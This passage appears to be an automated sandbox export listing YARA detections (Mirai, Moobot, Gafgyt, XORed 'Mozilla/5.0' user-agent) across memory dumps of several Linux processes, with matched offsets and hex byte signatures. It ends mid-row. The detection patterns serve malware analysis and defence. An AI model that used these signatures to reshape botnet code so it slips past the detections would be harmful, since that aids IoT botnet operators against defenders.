7293.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6468.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6830.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7246.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7246.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7246.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7246.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7246.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7246.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7050.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6938.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6938.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6938.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6938.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6938.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6938.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7146.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7146.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7146.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7146.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7146.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7146.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6799.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6799.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6799.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6799.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6799.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6799.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7159.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7218.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7218.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7218.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7218.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7218.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7218.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7071.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6309.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6309.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6309.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6309.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6309.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 